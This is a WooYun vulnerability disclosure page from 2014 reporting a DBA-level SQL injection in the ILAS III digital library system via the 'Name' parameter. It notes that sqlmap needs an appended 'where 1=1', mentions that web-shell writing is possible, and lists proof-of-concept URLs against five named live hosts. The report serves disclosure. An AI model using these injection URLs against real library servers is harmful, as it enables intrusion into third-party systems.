当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-084048
漏洞标题：
ILASⅢ Digital library System DBA Sql Injection 3
相关厂商：
深圳市科图自动化新技术应用公司
漏洞作者：
路人甲
提交时间：
2014-11-24 01:02
修复时间：
2015-02-22 01:04
公开时间：
2015-02-22 01:04
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
15
漏洞状态：
未联系到厂商或者厂商积极忽略
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-11-24： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

ILAS数字图书馆存在一处DBA权限的SQL注入漏洞.可导致写shell

详细说明：

提交通用漏洞就像过着千篇一律的生活,似乎没有任何意义,但其实找漏洞我很累,不管是通用还是厂商，我需要足够的时间,每天的工作压力实在抽不出时间刷WB啊。
SQL注入点：

/RdrRInforDetail.aspx?Notes=*******&AcqSys=CN&Name=****&page=1 注入参数：Name


需要加入where 1=1 后sqlmap才能够认为这是一个注入,否则无法注出。
DBA权限是可以写shell的，可参考： WooYun: 某图书馆自动化集成系统注入导致可写shell

0.jpg

漏洞证明：

【免责声明：以下为漏洞报告非利用方式，仅供证明漏洞未获取任何有效数据，案例仅供国家互联网应急中心测试使用，其它人不可利用漏洞进行恶意破坏，否则后果自负，漏洞在厂商确认后均做打码处理，感谢您的支持与理解！】
TEST A:
http://211.66.188.4:8089/RdrRInforDetail.aspx?Notes=%E8%AF%BE%E9%A2%98%E8%B5%84%E6%96%99%E4%BF%A1%E6%81%AF%E5%BA%93&AcqSys=CN&Name=r_infor%20where%201=1&page=1

01.jpg


02.jpg


TEST B:
http://61.136.150.169/RdrRInforDetail.aspx?Notes=%E8%AF%BE%E9%A2%98%E8%B5%84%E6%96%99%E4%BF%A1%E6%81%AF%E5%BA%93&AcqSys=CN&Name=r_infor%20where%201=1&page=1

03.jpg


04.jpg


TEST C：
http://219.134.129.51/RdrRInforDetail.aspx?Notes=%E8%AF%BE%E9%A2%98%E8%B5%84%E6%96%99%E4%BF%A1%E6%81%AF%E5%BA%93&AcqSys=CN&Name=r_infor&page=1

05.jpg


TEST D:
http://210.26.144.10/RdrRInforDetail.aspx?Notes=%E8%AF%BE%E9%A2%98%E8%B5%84%E6%96%99%E4%BF%A1%E6%81%AF%E5%BA%93&AcqSys=CN&Name=r_infor%20where%201=1&page=1

06.jpg


TEST E:
http://lib.hnkjedu.cn/RdrRInforDetail.aspx?Notes=%E8%AF%BE%E9%A2%98%E8%B5%84%E6%96%99%E4%BF%A1%E6%81%AF%E5%BA%93&AcqSys=CN&Name=r_infor%20where%201=1&page=1

07.jpg

修复方案：

版权声明：转载请注明来源 路人甲@乌云

>

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝